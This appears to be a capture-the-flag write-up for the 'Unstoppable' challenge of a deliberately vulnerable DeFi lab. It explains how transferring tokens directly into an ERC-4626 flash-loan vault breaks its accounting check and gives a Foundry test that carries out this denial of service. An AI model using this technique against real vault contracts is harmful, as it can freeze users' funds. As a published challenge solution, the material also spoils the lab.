1. Challenge Info


This first challenge from DVWA provides us a tokenized vault contract with a million DVT tokens on it. It also offers flash loans. To start with the challenge, we as a player are given 10 DVT tokens. Goal is to halt the vault contract so that it doesn’t function as expected. We need to find a way to cause Denial Of Service(DoS) to the contract.

2. Contracts’ Description


Two Contracts are provided; UnstoppableVault.sol and UnstoppableMonitor.sol. The monitor contract doesn’t do much other than monitoring the vault contract to see if it’s flashLoan feature is functioning as intended. So, the main contract here is the vault contract.

The vault is a ERC-4626 compliant tokenized vault that offers flash loans. First, let’s look onto ERC-4626 before searching for vulnerabilities.

ERC-4626

ERC-4626 is a standard that defines standard API for tokenized vaults. It is an extension to ERC-20 token. It’s main purpose is to allow standard user deposits and withdrawls as well as proper mechanism to manage yield bearing tokens.

In the context of the provided vault contract, it’s underlying ERC-20 token is DVT which is considered an asset and vault’s ERC-4626 token is tDVT and is considered to be shares.

asset  => Underlying Token => DVT
shares => Vault Token      => tDVT

Most interesting function in the contract is flashLoan() function which serves the purpose of the contract, i.e. allowing flash loans.

The function above has three main checks before it transfers out the tokens.

Zero Amount Check:

First, it checks if amount == 0. Even as an attacker, if someone passes 0, it will simply fail for them but not for others. So, we can move onto next check.

Supported Currency Check:

Second, the contract checks if the token on which flashLoan is going to be performed is same as the token supported by the vault. If it is something else, it will simply fail. This check is also safe and won’t cause DoS. So, we can move onto next one.

Accounting Check:

uint256 balanceBefore = totalAssets();
if (convertToShares(totalSupply) != balanceBefore) revert InvalidBalance();

totalAssets() function is the function from the abstract ERC-4626 contract that is overridden in UnstoppableVault to return the vault contract’s asset balance.

function totalAssets() public view override nonReadReentrant returns (uint256) {
  return asset.balanceOf(address(this));
}

balanceBefore stores vault contract’s asset balance which seems good for now.

In the next line, convertToShares(totalSupply) is called. It takes totalSupply as argument which is 1 million tokens. convertToShares() function returns the amount of shares that would be exchanged by the vault for the amount of assets provided.

By combining above 2 lines, the assumption is that the totalSupply of vault tokens(tDVT) will always match the respective amount of underlying tokens(DVT).

3. Vulnerability

Upto some extent, that check holds true and is reasonable. But, what stops someone from depositing tokens directly onto the vault. Here, DVT is a ERC-20 token; it has transfer() function that we can call and as a player we start with 10 DVT tokens. Since I can transfer tokens to the vault directly from player’s account, the value of totalAssets() in the vault will change which will cause balanceBefore variable to be a different number than the value that is returned by convertToShares() function. This leads to the accounting conflict and thus, halts the contract forever.

4. Exploit

The provided test file for this challenge is Unstoppable.t.sol. It already has all the code to setup environment and state. My added solution is here:

  function test_unstoppable() public checkSolvedByPlayer {
    // Since we have 10 token as our balance 
    // Transfer any of it back to the vault 
    // Causes accounting conflict in the vault
    // Halts the vault
    console.log("------------------------------------------------------------------------------------");
    console.log("Token Balance of player before attack => ", token.balanceOf(player)/(1 ether), "DVT");
    console.log("Total Assets in the vault before attack (balanceBefore) => ", vault.totalAssets()/(1 ether), "DVT");
    console.log("Total Assets in the vault before attack using convertToShares() => ", vault.convertToShares(vault.totalAssets())/(1 ether), "tDVT");
    token.transfer(address(vault), 7e18);
    console.log("------------------------------------------------------------------------------------");
    console.log("Token Balance of player after attack => ", token.balanceOf(player)/(1 ether), "DVT");
    console.log("Total Assets in the vault after attack (balanceBefore) => ", vault.totalAssets()/(1 ether), "DVT");
    console.log("Total Assets in the vault after attack using convertToShares() => ", vault.convertToShares(vault.totalAssets())/(1 ether), "tDVT");
    console.log("------------------------------------------------------------------------------------");
  }

Finally, the result of the test run:


Thank you very much for reading.